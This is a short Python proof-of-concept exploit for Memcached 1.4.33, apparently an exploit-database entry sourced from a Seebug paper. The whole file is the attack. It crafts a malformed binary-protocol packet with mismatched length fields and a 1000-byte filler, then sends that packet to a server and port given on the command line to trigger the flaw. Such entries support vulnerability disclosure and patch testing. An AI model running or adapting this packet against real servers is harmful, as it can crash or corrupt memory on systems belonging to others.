Memcached 1.4.33 - PoC (3)

# Source: http://paper.seebug.org/95/

 

import struct 

import socket 

import sys

 

 

MEMCACHED_REQUEST_MAGIC = "\x80" 

OPCODE_SET = "\x21" 

key_len = struct.pack("!H",32) 

body_len = struct.pack("!I",1) 

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len +   body_len*2 + "A"*1000 

if len(sys.argv) != 3: 

    print "./poc_sasl.py <server> <ip>"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

s.connect((sys.argv[1],int(sys.argv[2]))) 

s.sendall(packet) 

print s.recv(1024) 

s.close()